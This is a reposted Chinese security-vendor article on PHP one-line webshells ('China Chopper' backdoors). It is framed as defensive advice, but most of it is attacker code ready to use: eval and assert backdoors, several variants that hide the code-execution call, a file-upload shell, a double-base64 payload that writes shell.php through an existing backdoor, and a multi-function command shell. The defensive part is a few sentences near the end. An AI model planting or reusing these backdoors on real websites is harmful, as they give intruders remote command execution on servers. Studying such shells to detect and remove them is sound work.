网站安全问题针对一句话木马函数的普析与防范

简介: 本文内容转载于Sinesafe网站安全服务http://www.sinesafe.com/article/20180608/244.htmlPHP网站安全防一句话木马入侵一、首先是菜刀一句话木马:     菜刀一句话木马的原理是调用了PHP的代码执行函数,比如以下1和2两个常见的一句话菜刀马,就是调用了eval函数、assert函数。

本文内容转载于Sinesafe网站安全服务http://www.sinesafe.com/article/20180608/244.html


PHP网站安全防一句话木马入侵

一、首先是菜刀一句话木马:
     
菜刀一句话木马的原理是调用了PHP的代码执行函数,比如以下1和2两个常见的一句话菜刀马,就是调用了eval函数、assert函数。

1、eval()函数
 

#传入的参数必须为PHP代码,既需要以分号结尾。
#命令執行:cmd=system(whoami);
#菜刀连接密码:cmd
<?php @eval($_POST['cmd']);?>

 
那么当我们上传了eval函数的菜刀马之后,在连接不上菜刀的情况下怎么上传大马呢?继续往下看这里我是先写一个上传马,再用上传马去上传大马,有点多次一举,但是考虑到大马代码量太多,还是建议先写个上传马,以下代码只有1kb。(这是根据黑客的角度去模拟进行上传木马,自然防御的方法就是针对这个eval函数的get post提交直接过滤掉。)


<?php
@$temp = $_FILES['upload_file']['tmp_name'];
@$file = basename($_FILES['upload_file']['name']);
if (empty ($file)){
echo "<form action = '' method = 'POST' ENCTYPE='multipart/form-data'>\n";echo "Local file: <input type = 'file' name = 'upload_file'>\n";echo "<input type = 'submit' value = 'Upload'>\n";echo "</form>\n<pre>\n\n</pre>";}else {if(move_uploaded_file($temp,$file)){echo "File uploaded successfully.<p>\n";}else {echo "Unable to upload " . $file . ".<p>\n";}}?>

 



原理是利用文件操作函数如下:
fputs(fopen(shell.php,w),xxxx);
写入xxxx到脚本执行文件当前目录下的shell.php文件。
由于是利用post传参,不能出现【<】【>】【+】【=】【/】等符号,所以这里我们需要把代码编码一下,将上面的上传代码进行两次base64编码(为了去除=号)。
在编码的时候空格和回车都会影响编码后的结果,因此建议大家直接复制我上面的上传马或者用下面我编码好的,或者自己去慢慢尝试直到base64编码后为一串自由数字和字母的字符串即可。
接下来利用文件操作函数写入上传马,注意不要忘了最后的分号。
 

cmd=fputs(fopen(base64_decode(c2hlbGwucGhw),w),base64_decode(base64_decode(UEQ5d2FIQWdEUXBBSkhSbGJYQWdQU0FrWDBaSlRFVlRXe
WQxY0d4dllXUmZabWxzWlNkZFd5ZDBiWEJmYm1GdFpTZGRPdzBLUUNSbWFXeGxJRDBnWW1GelpXNWhiV1VvSkY5R1NVeEZVMXNuZFhCc2IyRmtYM
lpwYkdVblhWc25ibUZ0WlNkZEtUc05DbWxtSUNobGJYQjBlU0FvSkdacGJHVXBLWHNOQ21WamFHOGdJanhtYjNKdElHRmpkR2x2YmlBOUlDY25JRzFsZ
EdodlpDQTlJQ2RRVDFOVUp5QkZUa05VV1ZCRlBTZHRkV3gwYVhCaGNuUXZabTl5YlMxa1lYUmhKejVjYmlJN1pXTm9ieUFpVEc5allXd2dabWxzWlRvZ1B
HbHVjSFYwSUhSNWNHVWdQU0FuWm1sc1pTY2dibUZ0WlNBOUlDZDFjR3h2WVdSZlptbHNaU2MrWEc0aU8yVmphRzhnSWp4cGJuQjFkQ0IwZVhCbElE
MGdKM04xWW0xcGRDY2dkbUZzZFdVZ1BTQW5WWEJzYjJGa0p6NWNiaUk3WldOb2J5QWlQQzltYjNKdFBseHVQSEJ5WlQ1Y2JseHVQQzl3Y21VK0lqdDla
V3h6WlNCN2FXWW9iVzkyWlY5MWNHeHZZV1JsWkY5bWFXeGxLQ1IwWlcxd0xDUm1hV3hsS1NsN1pXTm9ieUFpUm1sc1pTQjFjR3h2WVdSbFpDQnpkV0
5qWlhOelpuVnNiSGt1UEhBK1hHNGlPMzFsYkhObElIdGxZMmh2SUNKVmJtRmliR1VnZEc4Z2RYQnNiMkZrSUNJZ0xpQWtabWxzWlNBdUlDSXVQSEErWEc
0aU8zMTlQejQ9)));

成功得到上传马,之后就是上传我们的大马了。
 

2、assert()函数


#assert函数是直接将传入的参数当成PHP代码直接,不需要以分号结尾,当然你加上也可以。
#命令執行:cmd=system(whoami)
#菜刀连接密码:cmd
<?php @assert($_POST['cmd'])?>

 
上传大马,这一步参考eval函数。

     其他的代码执行函数还有以下几个,均给出了菜刀一句话木马和连接方式:


(这是根据黑客的角度去模拟进行上传木马,自然防御的方法就是针对这个assert()函数的get post提交直接过滤掉。)

3、preg_replace()
 


#preg_replace('正则规则','替换字符','目标字符')
#执行命令和上传文件参考assert函数(不需要加分号)。
#将目标字符中符合正则规则的字符替换为替换字符,此时如果正则规则中使用/e修饰符,则存在代码执行漏洞。
preg_replace("/test/e",$_POST["cmd"],"jutst test");

这里可以使用chr()函数转换ASCII编码来执行代码。
#phpinfo();
eval(chr(112).chr(104).chr(112).chr(105).chr(110).chr(102).chr(111).chr(40).chr(41).chr(59))
 

(这是根据黑客的角度去模拟进行上传木马,解决的建议方法就是针对这个preg_replace("/test/e",$_POST["函数的get post提交直接过滤掉。)

4、create_function()函数
 


#创建匿名函数执行代码
#执行命令和上传文件参考eval函数(必须加分号)。
#菜刀连接密码:cmd
$func =create_function('',$_POST['cmd']);$func();


5、array_map()函数
 


#array_map() 函数将用户自定义函数作用到数组中的每个值上,并返回用户自定义函数作用后的带有新值的数组。 回调函数接受的参数数目应该和传递给 array_map() 函数的数组数目一致。
#命令执行http://localhost/123.php?func=system   cmd=whoami
#菜刀连接http://localhost/123.php?func=assert   密码:cmd
$func=$_GET['func'];
$cmd=$_POST['cmd'];
$array[0]=$cmd;
$new_array=array_map($func,$array);
echo $new_array;

 

6、call_user_func()函数
 


#传入的参数作为assert函数的参数
#cmd=system(whoami)
#菜刀连接密码:cmd
call_user_func("assert",$_POST['cmd']);


7、call_user_func_array()函数
 


#将传入的参数作为数组的第一个值传递给assert函数
#cmd=system(whoami)
#菜刀连接密码:cmd
$cmd=$_POST['cmd'];
$array[0]=$cmd;
call_user_func_array("assert",$array);


8、array_filter()函数
 


#用回调函数过滤数组中的元素:array_filter(数组,函数)
#命令执行func=system&cmd=whoami
#菜刀连接http://localhost/123.php?func=assert  密码cmd
$cmd=$_POST['cmd'];
$array1=array($cmd);
$func =$_GET['func'];
array_filter($array1,$func);


9、uasort()函数
 


#php环境>=<5.6才能用
#uasort() 使用用户自定义的比较函数对数组中的值进行排序并保持索引关联 。
#命令执行:http://localhost/123.php?1=1+1&2=eval($_GET[cmd])&cmd=system(whoami);
#菜刀连接:http://localhost/123.php?1=1+1&2=eval($_POST[cmd])   密码:cmd
usort($_GET,'asse'.'rt');

Sine安全公司是一家专注于:服务器安全网站安全、网站安全检测、网站漏洞修复,渗透测试,安全服
 
务于一体的网络安全服务提供商。


二、命令执行函数
     PHP执行系统命令的有几个常用的函数,如有:system函数、exec函数、popen函数,passthru,shell_exec函数他们都可以执行系统命令,下面是我整理的一个命令马,把常见的命令执行函数都做了一个梳理,如果大家还有什么新的思路或见解,可以一起交流交流。
 


<?php
$command=$_POST['cmd'];
#function exec_all($command)
#{
    
//system函数可执行并直接显示结果
if(function_exists('system'))
{
    echo "<pre>";
    system($command);
    echo "</pre>";
}
 
//passthru函数可执行并直接显示结果
else if(function_exists('passthru'))
{
    echo "<pre>";
    passthru($command);
    echo "</pre>";
}
 
//shell_exec函数可执行但需要加echo才能显示结果
else if(function_exists('shell_exec'))
{
    echo "<pre>";
    echo shell_exec($command);
    echo "</pre>";
}
 
//function exec(命令,以数组形式的保存结果,命令执行的状态码)
//可执行,但需要加echo才能显示结果
else if(function_exists('exec'))
{  
    echo "<pre>";
    exec($command,$output);
    echo "</br>";
    print_r($output);
    echo "</pre>";
}
 
//popen函数:打开一个指向进程的管道,该进程由派生指定的 command 命令执行而产生。
//返回一个和 fopen() 所返回的相同的文件指针,只不过它是单向的(只能用于读或写)
//此指针可以用于 fgets(),fgetss() 和 fwrite()。并且必须用 pclose() 来关闭。
//若出错,则返回 false。
else if(function_exists('popen'))
{
    $handle = popen($command , "r"); // Open the command pipe for reading
    if(is_resource($handle))
    {
        if(function_exists('fread') && function_exists('feof'))
        {
            echo "<pre>";
            while(!feof($handle))
            {
                echo fread($handle, 1024);       
            }
            echo "</pre>";
        }
        else if(function_exists('fgets') && function_exists('feof'))
        {
            echo "<pre>";
            while(!feof($handle))
            {       
                echo fgets($handle,1024);
            }
            echo "<pre>";
        }
    }
    pclose($handle);
}
 
//proc_open — 执行一个命令,并且打开用来输入/输出的文件指针。
else if(function_exists('proc_open'))
{
    $descriptorspec = array(
            1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
            );
    $handle = proc_open($command ,$descriptorspec , $pipes); // This will return the output to an array 'pipes'
    if(is_resource($handle))
    {
        if(function_exists('fread') && function_exists('feof'))
        {
            echo "<pre>";
            while(!feof($pipes[1]))
            {
                echo fread($pipes[1], 1024);       
            }
            echo "</pre>";
        }
        else if(function_exists('fgets') && function_exists('feof'))
        {
            echo "<pre>";
            while(!feof($pipes[1]))
            {       
                echo fgets($pipes[1],1024);
            }
            echo "<pre>";
        }
    }
    #pclose($handle);
}
 
else
{
    echo 'GG';
}
#}

     其他函数:
暂时就知道其他两个函数,不过也都是基于以上的函数所变化的。
 
?

<?php
$cmd=$_POST['cmd'];
echo "<pre>";
 
//可执行并直接显示结果,反引号,波浪键。
//shell_exec() 函数实际上仅是反撇号 (`) 操作符的变体
//所以如果把shell_exec()函数禁用了,反撇号 (`)也是执行不了命令的。
echo `$cmd`;
 
 
//注意,这个只显示结果的第一行,因此基本只能执行whoami
//ob_start:打开缓冲区,需要system函数开启
$a = 'system';
ob_start($a);
echo "$_POST[cmd]";
ob_end_flush();
 
echo "</pre>";

     上面讲完命令执行命令,也都可以执行命令了,那么如何利用这些命令马来进一步上传脚本大马呢,这里就要涉及到一下CMD命令进行上传木马了

成功执行命令之后,首先利用【dir】命令得到网站路径,如果是mysql注入得到的os-shell也可用【dir d:\ /b】命令查找存放网站程序的路径。
 
这些一句话木马代码所用到的函数千变万化,那么我们站在黑客的角度进行防御 就要杜绝这些函数来执行上传脚本木马来对网站进行安全防范,平常也可以通过搜索这些函数来查找网站的脚本文件有无被上传这些一句话木马函数的脚本,综合上述多个代码函数的黑客入侵应用方法要对程序中的get post head提交方式进行过滤以防再次被黑客入侵。


相关文章
|
11月前
|
SQL 监控 安全
服务器安全性漏洞和常见攻击方式解析
服务器安全性漏洞和常见攻击方式解析
|
7月前
|
开发框架 安全 .NET
Web安全-一句话木马
Web安全-一句话木马
300 5
|
存储 安全 编译器
网络安全之恶意代码
恶意代码是一种有害的计算机代码或 web 脚本,其设计目的是创建系统漏洞,并借以造成后门、安全隐患、信息和数据盗窃、以及其他对文件和计算机系统的潜在破坏。恶意代码不仅使企业和用户蒙受了巨大的经济损失,而且使国家的安全面临着严重威胁。1991年的海湾战争是美国第一次公开在实战中使用恶意代码攻击技术取得重大军事利益,从此恶意代码攻击成为信息战、网络战最重要的入侵手段之一。恶意代码问题无论从政治上、经济上、还是军事上,都成为信息安全面临的首要问题。让我们一起来认识一下恶意代码。
653 1
|
安全 数据库 数据安全/隐私保护
记一次公司被勒索病毒攻击事迹,上上下下咬牙切齿
记一次公司被勒索病毒攻击事迹,上上下下咬牙切齿
197 0
记一次公司被勒索病毒攻击事迹,上上下下咬牙切齿
|
SQL 安全 网络安全
网络安全——基于SQL注入拿到webshell
今天参加远程面试的时候面试官问了这样一个题:“你知道哪些通过注入漏洞获取服务器权限的方法?请详细讲讲,”这我直接愣住了,平时渗透中sql注入我一般用来获取数据库的数据信息,虽然在我记忆中我曾经学过通过注入漏洞获取服务器权限的方法,但已经忘得差不多了,所以今天写一篇博客来巩固一下这方面的知识,希望对您们也有帮助
820 0
网络安全——基于SQL注入拿到webshell
|
Web App开发 安全 前端开发
网站安全公司之XSS跨站前端防御措施
相信大家对前端漏洞的成因和攻击方式都有一定的了解。只有熟悉了“进攻”,才能对防守有更深的理解。毕竟防守永远比进攻难。接下来,我们将进入详细研究。防御前端攻击主要有三个角度。
158 0
网站安全公司之XSS跨站前端防御措施
|
SQL 存储 缓存
网站该如何防止不被黑客SQL注入攻击
在众多网站上线后出现的安全漏洞问题非常明显,作为网站安全公司的主管我想给大家分享下在日常网站维护中碰到的一些防护黑客攻击的建议,希望大家的网站都能正常稳定运行免遭黑客攻击。
551 0
网站该如何防止不被黑客SQL注入攻击
|
监控 安全 网络协议
网站防黑客攻击的建议
安全是网站的重要组成部分。在当今互联网信息时代,网站建设是一件非常普遍的事情,黑客的攻击是无所不在。但是网络黑客对网站的攻击让很多企业头疼,所以网站的安全部分要多加注意。企业网站建设的基础是网络,没有网络我们网站建设毫无意义,但对于网络,如果我们不能做好安全保护,会给企业带来不必要的麻烦,那么如何建立更好的网络安全系统呢?今天,SINE安全技术将带您了解这些知识。
208 0
网站防黑客攻击的建议
|
数据采集 移动开发 安全
网站安全公司之网站XSS攻击的危害介绍
笔者认为,这篇文章的完成,是一件高兴的事。由于本文是国内首本专门论述XSS的著作,因此本文的推出,为学习网络安全的新人提供了充足的学习材料,同时也为安全工作者提供了一份不可多得的参考手册,必将促使大家更加重视XSS安全技术。XSS攻击的危害一直未被多数开发者正确认识,甚至一些网络安全工作者也认为XSS「危害不大」。引起这一误解的原因很多。XSS攻击的危害是与特定的业务场景息息相关的。由于业务场景的不同,导致了不同的网络安全问题,其中有些场景风险大,有些场景风险小。但XSS作为一种漏洞类型,在描述其定义时很难将其定位到具体情况中。XSS攻击的危害程度,取决于业务场景的重要性程度。
302 0
网站安全公司之网站XSS攻击的危害介绍
|
安全
浅谈Webshell对网站的危害以及预防措施.
在互联网中,会潜在各种各样对企业网站、数据信息、服务器等造成威胁的脚本、代码漏洞、木马、病毒等程序。最终给网络犯罪分子钻空子的机会,以此来获取利益。今天一个小哥哥给我讲说他这两天处理的一个案例。关于攻击者利用上传Webshell到网站实施的攻击。
1300 0